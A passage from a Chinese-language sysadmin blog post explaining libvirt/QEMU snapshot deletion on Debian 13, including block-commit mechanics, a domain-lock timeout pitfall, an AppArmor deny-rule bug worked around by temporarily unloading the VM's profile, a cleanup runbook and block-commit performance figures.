&lt;tr&gt;&lt;td&gt;链长度影响&lt;&#x2F;td&gt;&lt;td&gt;单文件变大&lt;&#x2F;td&gt;&lt;td&gt;文件数量变多&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;与另一种混用&lt;&#x2F;td&gt;&lt;td&gt;尽量别混&lt;&#x2F;td&gt;&lt;td&gt;尽量别混&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;对运行中的 VM 执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 外部&amp;quot;纯磁盘&amp;quot;快照：秒级、不暂停、无内存文件
virsh snapshot-create-as debian13 snap-20261009-20 --disk-only --atomic

# 不带 --disk-only（默认）会做内部全系统快照：
#   - 暂停 VM 数分钟
#   - 内存 + 磁盘状态写进活动 qcow2 内部
virsh snapshot-create-as debian13 snap-xxx --atomic     # ← 坑，见第三节
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;1-4-nei-cun-kuai-zhao-yu-save-wen-jian&quot;&gt;1.4 内存快照与 &lt;code&gt;.save&lt;&#x2F;code&gt; 文件&lt;&#x2F;h2&gt;
&lt;p&gt;带内存的完整快照在 XML 里长这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;state&amp;gt;running&amp;lt;&amp;#x2F;state&amp;gt;
&amp;lt;memory snapshot=&amp;#x27;external&amp;#x27; file=&amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian13.2026-10-09T09:37.save&amp;#x27;&amp;#x2F;&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.save&lt;&#x2F;code&gt; 是 libvirt 的 &lt;strong&gt;save image&lt;&#x2F;strong&gt;（头部 magic 为 &lt;code&gt;LibvirtQemudSave&lt;&#x2F;code&gt;，后面接 QEMU 的 vmstate 流），&lt;strong&gt;不是 qcow2&lt;&#x2F;strong&gt;，大小约等于 VM 内存；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;snapshot-revert&lt;&#x2F;code&gt; 恢复 running 状态快照时必须打开它，&lt;strong&gt;删掉就等于这个快照无法恢复&lt;&#x2F;strong&gt;（没有&quot;忽略内存、只回滚磁盘&quot;的开关）；&lt;&#x2F;li&gt;
&lt;li&gt;正确地删除整个快照时，&lt;code&gt;.save&lt;&#x2F;code&gt; 会被一并清理；&lt;strong&gt;不要手动 &lt;code&gt;rm&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;virsh snapshot-delete --metadata&lt;&#x2F;code&gt; 只删元数据、不做磁盘合并，属于危险操作，生产环境别用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;er-shan-chu-kuai-zhao-shi-dao-di-fa-sheng-liao-shen-me&quot;&gt;二、删除快照时到底发生了什么&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;virsh snapshot-delete&lt;&#x2F;code&gt; &lt;strong&gt;不是删文件&lt;&#x2F;strong&gt;，而是先做在线 block-commit：把被删层已分配的数据块合并进它的 backing 层，重接上层指针，最后才删除文件与元数据。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-1-shan-zhong-jian-ceng-fei-dang-qian-kuai-zhao&quot;&gt;2.1 删中间层（非当前快照）&lt;&#x2F;h2&gt;
&lt;p&gt;例如删除 &lt;code&gt;snap-20260625-17&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;把该层增量合并进下层（对最老的快照就是合并进 &lt;code&gt;debian13.qcow2&lt;&#x2F;code&gt;）；&lt;&#x2F;li&gt;
&lt;li&gt;把上层文件的 backing 指针改指到合并后的结果（libvirt 调 &lt;code&gt;qemu-img rebase -u&lt;&#x2F;code&gt;）；&lt;&#x2F;li&gt;
&lt;li&gt;活动层完全不动，VM 无感，只是链缩短。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-2-shan-dang-qian-kuai-zhao-active-commit-pivot&quot;&gt;2.2 删当前快照：active commit + pivot&lt;&#x2F;h2&gt;
&lt;p&gt;libvirt 源码 &lt;code&gt;qemuSnapshotDiscardExternal&lt;&#x2F;code&gt; 里的关键分支：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;unsigned int commitFlags = VIR_DOMAIN_BLOCK_COMMIT_DELETE;

if (data-&amp;gt;merge) {
    if (data-&amp;gt;domDisk-&amp;gt;src == data-&amp;gt;diskSrc) {          &amp;#x2F;* 删的是当前快照 *&amp;#x2F;
        commitFlags |= VIR_DOMAIN_BLOCK_COMMIT_ACTIVE;  &amp;#x2F;* 活动层 commit *&amp;#x2F;
        autofinalize = VIR_TRISTATE_BOOL_YES;
    }
    qemuBlockCommit(vm, domDisk, parentDiskSrc, diskSrc, prevDiskSrc, ...);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;“活动层被吸收进下一层”的含义：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;QEMU 把活动层里已分配的数据复制进它的 backing 层（合并目标永远是&lt;strong&gt;链上更老的那一层&lt;&#x2F;strong&gt;）；&lt;&#x2F;li&gt;
&lt;li&gt;复制完成后做一次 graph pivot：把&quot;活动层&quot;指针从旧文件切到 backing 层，之后新写入落在新的活动层上；&lt;&#x2F;li&gt;
&lt;li&gt;再删掉旧活动层文件和它的 &lt;code&gt;.save&lt;&#x2F;code&gt;，current 指针回到父快照。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;区别：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;删中间层&lt;&#x2F;th&gt;&lt;th&gt;删当前层&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;合并方向&lt;&#x2F;td&gt;&lt;td&gt;向下一层&lt;&#x2F;td&gt;&lt;td&gt;向下一层&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;活动层&lt;&#x2F;td&gt;&lt;td&gt;不动&lt;&#x2F;td&gt;&lt;td&gt;commit 完成后 pivot 到下一层&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VM 感受&lt;&#x2F;td&gt;&lt;td&gt;全程无感&lt;&#x2F;td&gt;&lt;td&gt;commit 期间照常运行，最后切换有毫秒级 I&#x2F;O 停顿&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数据总量&lt;&#x2F;td&gt;&lt;td&gt;不变&lt;&#x2F;td&gt;&lt;td&gt;不变&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;所以&lt;strong&gt;删除顺序无所谓&lt;&#x2F;strong&gt;，最终链的内容一致；每个快照失去的只是&quot;回到那个时间点&quot;的能力。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-3-shan-chu-de-wai-bu-yue-shu&quot;&gt;2.3 删除的外部约束&lt;&#x2F;h2&gt;
&lt;p&gt;libvirt 11.3 对删除外部快照的校验（&lt;code&gt;qemuSnapshotDeleteValidate&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;有其它活动 block job 时不能删；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--children&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;--children-only&lt;&#x2F;code&gt; &lt;strong&gt;不支持&lt;&#x2F;strong&gt;（会报 &lt;code&gt;deletion of external disk snapshots with children not supported&lt;&#x2F;code&gt;）；&lt;&#x2F;li&gt;
&lt;li&gt;非当前、多子、或不在当前活动链上的非叶快照会被拒绝——拒绝是保护；&lt;&#x2F;li&gt;
&lt;li&gt;上一次删除未完成（元数据里有 &lt;code&gt;&amp;lt;snapshotDeleteInProgress&#x2F;&amp;gt;&lt;&#x2F;code&gt;）时，相关快照会被拒绝删除，必须把未完成的那次删除&lt;strong&gt;重新执行并跑完&lt;&#x2F;strong&gt;来清除标记。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另外：运行中的 VM 即使文件被误删，QEMU 手里还持有 fd，可能暂时无感；但重启或重开文件时就再也打不开了——&lt;strong&gt;永远不要手动 rm 链上的文件&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;san-keng-yi-bu-dai-disk-only-de-nei-bu-kuai-zhao-yu-suo-chao-shi&quot;&gt;三、坑一：不带 --disk-only 的内部快照 + 域锁超时&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;3-1-xian-xiang&quot;&gt;3.1 现象&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;virsh snapshot-list&lt;&#x2F;code&gt; 里冒出一个 &lt;code&gt;状态 = running&lt;&#x2F;code&gt; 的新快照；&lt;&#x2F;li&gt;
&lt;li&gt;磁盘目录里&lt;strong&gt;没有任何新文件&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;活动层 qcow2 从 59M 暴涨到 25G；&lt;&#x2F;li&gt;
&lt;li&gt;VM 一度显示&quot;已暂停&quot;；&lt;&#x2F;li&gt;
&lt;li&gt;紧接着再敲 snapshot 命令，报：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;error: 操作超时：无法获取状态更改锁（由 monitor=remoteDispatchDomainSnapshotCreateXML 持有）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-2-yuan-yin&quot;&gt;3.2 原因&lt;&#x2F;h2&gt;
&lt;p&gt;对运行中的 VM，不带 &lt;code&gt;--disk-only&lt;&#x2F;code&gt; 的 &lt;code&gt;snapshot-create-as&lt;&#x2F;code&gt; 默认创建&lt;strong&gt;内部全系统快照&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;暂停 VM，用 savevm 把内存（本例 24G）+ 磁盘状态写进活动 qcow2 内部；&lt;&#x2F;li&gt;
&lt;li&gt;整个过程可能持续数分钟，期间域锁一直被占；&lt;&#x2F;li&gt;
&lt;li&gt;第二条命令只是在等锁，等到超时就报&quot;无法获取状态更改锁&quot;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;验证方式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh snapshot-info debian13 &amp;lt;name&amp;gt;       # 位置：内部
virsh snapshot-dumpxml debian13 &amp;lt;name&amp;gt;    # &amp;lt;memory snapshot=&amp;#x27;internal&amp;#x27;&amp;#x2F;&amp;gt;、&amp;lt;disk snapshot=&amp;#x27;internal&amp;#x27;&amp;#x2F;&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-3-chu-li-yu-jing-yan&quot;&gt;3.3 处理与经验&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;等它完成或直接 &lt;code&gt;virsh snapshot-delete&lt;&#x2F;code&gt; 删掉这个内部快照（内存数据会从 qcow2 里回收）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;对运行中的 VM 要磁盘快照，必须带 &lt;code&gt;--disk-only --atomic&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;看到&quot;无法获取状态更改锁 &#x2F; 操作超时&quot;时：先 &lt;code&gt;virsh domjobinfo&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;virsh list&lt;&#x2F;code&gt; 看是否有并发操作在跑，&lt;strong&gt;不要反复重敲命令&lt;&#x2F;strong&gt;——每次重试都会去抢同一个锁。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;si-keng-er-snapshot-delete-bao-permission-denied-apparmor&quot;&gt;四、坑二：snapshot-delete 报 Permission denied（AppArmor）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;4-1-xian-xiang&quot;&gt;4.1 现象&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;sudo virsh snapshot-delete --domain debian13 &amp;quot;2026-10-09T09:37&amp;quot;
error: 删除快照失败：2026-10-09T09:37
error: 内部错误：无法执行 QEMU 命令 &amp;#x27;block-commit&amp;#x27;：
Could not open &amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian13.2026-10-09T08:13&amp;#x27;: Permission denied
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错的文件不是待删快照本身，而是它的&lt;strong&gt;合并目标层&lt;&#x2F;strong&gt;（backing 层）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-2-pai-cha-guo-cheng&quot;&gt;4.2 排查过程&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;排除常见原因：文件属主和权限正常（&lt;code&gt;libvirt-qemu:libvirt-qemu 0600&lt;&#x2F;code&gt;，QEMU 也以 libvirt-qemu 运行）；&lt;code&gt;qemu-img check&lt;&#x2F;code&gt; 无异常；没有 block job 在跑；&lt;&#x2F;li&gt;
&lt;li&gt;检查 libvirt 动态生成的 AppArmor 文件清单：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;libvirt&amp;#x2F;libvirt-&amp;lt;uuid&amp;gt;.files
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;  &amp;quot;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian13.2026-10-09T08:13&amp;quot; rk,
  # don&amp;#x27;t audit writes to readonly files
  deny &amp;quot;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian13.2026-10-09T08:13&amp;quot; w,
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;结论：AppArmor 规则把只读 backing 层的&lt;strong&gt;写权限 deny 了&lt;&#x2F;strong&gt;，而 block-commit 恰好要写进这一层；&lt;&#x2F;li&gt;
&lt;li&gt;关键细节：&lt;strong&gt;AppArmor 的 deny 规则优先级高于 allow&lt;&#x2F;strong&gt;。文件后面虽然还有 &lt;code&gt;rwk&lt;&#x2F;code&gt; 允许规则，也无法覆盖前面的 deny。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;4-3-zhe-shi-yi-zhi-bug-bu-shi-ni-de-lian-pi-liao&quot;&gt;4.3 这是已知 bug，不是你的链坏了&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Debian bug &lt;strong&gt;#1093955&lt;&#x2F;strong&gt;、&lt;strong&gt;#1061725&lt;&#x2F;strong&gt; 记录的都是同一现象；&lt;&#x2F;li&gt;
&lt;li&gt;Ubuntu 有一个补丁 &lt;code&gt;virt-aa-helper: Ask for no deny rule for readonly disks&lt;&#x2F;code&gt;，Debian trixie 的 libvirt 11.3 尚未包含；&lt;&#x2F;li&gt;
&lt;li&gt;和文件名无关：&lt;code&gt;debian13.qcow2&lt;&#x2F;code&gt;、&lt;code&gt;debian13.snap-20260625-17&lt;&#x2F;code&gt; 这些不带冒号的普通名字，同样带着 &lt;code&gt;deny ... w&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;症状在各种发行版&#x2F;文件系统上都有人报告（Gentoo 论坛也有同款 &lt;code&gt;Could not open ...: Permission denied&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;4-4-profile-shi-zen-me-lai-de&quot;&gt;4.4 profile 是怎么来的&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;etc&#x2F;apparmor.d&#x2F;libvirt&#x2F;libvirt-&amp;lt;uuid&amp;gt;&lt;&#x2F;code&gt;：由 libvirt 从 &lt;code&gt;TEMPLATE.qemu&lt;&#x2F;code&gt; 复制生成的每 VM profile，&lt;strong&gt;用 UUID 命名&lt;&#x2F;strong&gt;（UUID 是稳定唯一标识，改名不影响沙箱绑定）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;etc&#x2F;apparmor.d&#x2F;libvirt&#x2F;libvirt-&amp;lt;uuid&amp;gt;.files&lt;&#x2F;code&gt;：&lt;code&gt;virt-aa-helper&lt;&#x2F;code&gt; 按 domain XML 动态生成，VM 启动&#x2F;磁盘变化时重建，头部写着 &lt;code&gt;DO NOT EDIT ... MANAGED BY LIBVIRT&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;问题就出在这个自动生成的 deny 规则上。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;4-5-lin-shi-rao-guo&quot;&gt;4.5 临时绕过&lt;&#x2F;h2&gt;
&lt;p&gt;在删除操作前临时卸载该 VM 的 profile，操作完再装回：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;UUID=$(virsh domuuid debian13)

# 1) 确认 profile 已加载
sudo aa-status | grep &amp;quot;$UUID&amp;quot;

# 2) 卸载（等于临时解除这台 VM 的 AppArmor 限制）
sudo apparmor_parser -R &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;libvirt&amp;#x2F;libvirt-&amp;quot;$UUID&amp;quot;

# 3) ...执行快照删除...

# 4) 恢复
sudo apparmor_parser -r &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;libvirt&amp;#x2F;libvirt-&amp;quot;$UUID&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意事项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;aa-complain&lt;&#x2F;code&gt;（complain 模式）&lt;strong&gt;没用&lt;&#x2F;strong&gt;——deny 规则在 complain 下依然生效；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;apparmor_parser&lt;&#x2F;code&gt; 在 &lt;code&gt;apparmor&lt;&#x2F;code&gt; 包里；也可以用 &lt;code&gt;apt install apparmor-utils&lt;&#x2F;code&gt; 后改用 &lt;code&gt;aa-disable&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;aa-enforce&lt;&#x2F;code&gt;（aa-disable 还会建 disable 符号链接，防止重启后自动加载）；&lt;&#x2F;li&gt;
&lt;li&gt;恢复 profile 后，&lt;strong&gt;正在运行的 QEMU 进程要等 VM 下次重启才会重新被限制&lt;&#x2F;strong&gt;（profile 只在 exec 时挂载）；&lt;&#x2F;li&gt;
&lt;li&gt;不推荐的做法：改 &lt;code&gt;&#x2F;etc&#x2F;libvirt&#x2F;qemu.conf&lt;&#x2F;code&gt; 把 &lt;code&gt;security_driver&lt;&#x2F;code&gt; 设为 &lt;code&gt;&quot;none&quot;&lt;&#x2F;code&gt;——那是整体关闭安全驱动，还要重启 VM。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;wu-wan-zheng-cao-zuo-ji-lu-runbook&quot;&gt;五、完整操作记录（Runbook）&lt;&#x2F;h1&gt;
&lt;p&gt;针对&quot;保留两个纯磁盘快照、删掉含内存的快照&quot;的实际步骤：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 0. 检查
sudo virsh list
sudo virsh snapshot-list --domain debian13 --topological --parent
sudo virsh domjobinfo debian13        # 应为&amp;quot;任务类型：无&amp;quot;
df -h &amp;#x2F;var

# 1. 临时卸载 AppArmor profile
UUID=$(virsh domuuid debian13)
sudo apparmor_parser -R &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;libvirt&amp;#x2F;libvirt-&amp;quot;$UUID&amp;quot;

# 2. 按顺序删除（每条等它跑完；另开终端可观察合并进度）
#    先删带遗留标记那条，成功后会清掉其父快照上的 snapshotDeleteInProgress
sudo virsh snapshot-delete --domain debian13 2026-10-09T09:37
sudo virsh snapshot-delete --domain debian13 2026-10-09T08:13
sudo virsh snapshot-delete --domain debian13 snap-20260625-17

#    进度观察：
#    watch -n 2 &amp;#x27;sudo virsh blockjob debian13 vda --info&amp;#x27;

# 3. 恢复 AppArmor
sudo apparmor_parser -r &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;libvirt&amp;#x2F;libvirt-&amp;quot;$UUID&amp;quot;

# 4. 验收
sudo virsh snapshot-list --domain debian13 --topological --parent
sudo virsh domblklist debian13 --details
ls -lh &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F; | grep debian13    # 对应的 .save 应消失
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ru-he-cha-kan-shan-chu-block-commit-jin-du&quot;&gt;如何查看删除（block-commit）进度&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;snapshot-delete&lt;&#x2F;code&gt; 把合并任务提交给后台后，用 &lt;code&gt;blockjob --info&lt;&#x2F;code&gt; 看进度（建议配 &lt;code&gt;watch&lt;&#x2F;code&gt; 刷新）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 空闲时
sudo virsh blockjob debian13 vda --info
# 没有 vda 的当前块作业

# 合并进行中（实时百分比）
watch -n 2 &amp;#x27;sudo virsh blockjob debian13 vda --info&amp;#x27;
# 块指派: [97.60 %]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于任务跑在 libvirt&#x2F;QEMU 后台，&lt;strong&gt;终端断开、被覆盖都不影响执行&lt;&#x2F;strong&gt;——重新开一个终端继续观察即可，千万不要 kill 进程。&lt;&#x2F;p&gt;
&lt;p&gt;除百分比外，还可以从&quot;文件侧&quot;确认任务在推进而不是卡死：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 隔几秒分别执行，观察合并目标文件的大小&amp;#x2F;时间戳是否持续变化
stat -c &amp;#x27;%n size=%s mtime=%y&amp;#x27; &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian13.qcow2
# size=207242067968 mtime=2026-10-09 21:00:43
# 6 秒后再看：
stat -c &amp;#x27;%n size=%s mtime=%y&amp;#x27; &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian13.qcow2
# size=207779004416 mtime=2026-10-09 21:00:50
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;百分比 + 文件增长速度可以粗略估算剩余时间（本例最后删除的那层合并耗时约 38 分钟，最后 2.4% 在几分钟内跑完）。&lt;&#x2F;p&gt;
&lt;p&gt;完成的信号（三个都查一遍最稳）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1) blockjob 回到&amp;quot;无作业&amp;quot;
sudo virsh blockjob debian13 vda --info      # 没有 vda 的当前块作业

# 2) 快照元数据里被删的快照消失
sudo virsh snapshot-list --domain debian13 --topological --parent

# 3) 被删层的 qcow2 文件消失、活动链收敛
ls -lh &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F; | grep debian13
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个小坑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;domjobinfo&lt;&#x2F;code&gt; 在块作业进行中不一定可用：本例中它报 &lt;code&gt;error: 内部错误：无效的作业统计类型&lt;&#x2F;code&gt;，所以进度以 &lt;code&gt;blockjob --info&lt;&#x2F;code&gt; 为准；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ps&lt;&#x2F;code&gt; 里能看到 &lt;code&gt;sudo&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;virsh&lt;&#x2F;code&gt; 进程只能说明&quot;客户端还在等&quot;，真正的判据是上面 1）～3）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;先删&quot;链上有未完成删除标记&quot;的那条（顺序不能反，否则父快照会被标记拒绝）；&lt;&#x2F;li&gt;
&lt;li&gt;每条 &lt;code&gt;snapshot-delete&lt;&#x2F;code&gt; 是在线 block-commit，按数据量可能要几分钟到几十分钟，&lt;strong&gt;不要 Ctrl-C&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;如果删除又报 Permission denied：&lt;code&gt;sudo aa-status | grep &quot;$UUID&quot;&lt;&#x2F;code&gt; 看看 profile 是否被重新加载，再卸载一次重试。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;liu-wei-shen-me-zhe-me-man-block-commit-de-xing-neng-zhang&quot;&gt;六、为什么这么慢：block-commit 的性能账&lt;&#x2F;h1&gt;
&lt;p&gt;实际清理中，最后删除 &lt;code&gt;snap-20260625-17&lt;&#x2F;code&gt; 这一步耗时约 &lt;strong&gt;38 分钟&lt;&#x2F;strong&gt;（20:23 → 21:02）。看起来&quot;只有百来 G&quot;，为什么会花这么久？把账算清楚就不奇怪了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-1-shi-ji-ban-yun-liang-bi-biao-guan-da-xiao-da&quot;&gt;6.1 实际搬运量比&quot;表观大小&quot;大&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;最后删除的 &lt;code&gt;debian13.snap-20260625-17&lt;&#x2F;code&gt; 表观大小 176 GiB（≈189GB）；&lt;&#x2F;li&gt;
&lt;li&gt;删除是&lt;strong&gt;级联&lt;&#x2F;strong&gt;的：先删的 &lt;code&gt;snap-20260916-10&lt;&#x2F;code&gt; 不是凭空消失，而是被合并进了下一层（即 6&#x2F;25 这层）——实测中 6&#x2F;25 文件从 130G 涨到 176G 就是证据。所以最后一步搬的是&quot;多轮合并后&quot;的整坨数据；&lt;&#x2F;li&gt;
&lt;li&gt;表观大小 ≠ 实际拷贝量：&lt;code&gt;ls -l&lt;&#x2F;code&gt; 是文件长度，实际占用要看 &lt;code&gt;qemu-img info&lt;&#x2F;code&gt; 的 &lt;code&gt;disk size&lt;&#x2F;code&gt;（allocated）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;6-2-shi-ce-su-lu-zhi-you-90mb-s&quot;&gt;6.2 实测速率只有 ~90MB&#x2F;s&lt;&#x2F;h2&gt;
&lt;p&gt;观察合并目标文件（base）的增长：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;stat -c &amp;#x27;%n size=%s mtime=%y&amp;#x27; &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian13.qcow2
# 21:00:43  size=207242067968
# 21:00:50  size=207779004416
# 6.2 秒增长 537MB ≈ 87MB&amp;#x2F;s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对账：&lt;code&gt;176GiB ≈ 189GB ÷ ~87MB&#x2F;s ≈ 37 分钟&lt;&#x2F;code&gt;，与 20:23 → 21:02 的实测吻合。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-3-wei-shen-me-nvme-shang-ye-man&quot;&gt;6.3 为什么 NVMe 上也慢&lt;&#x2F;h2&gt;
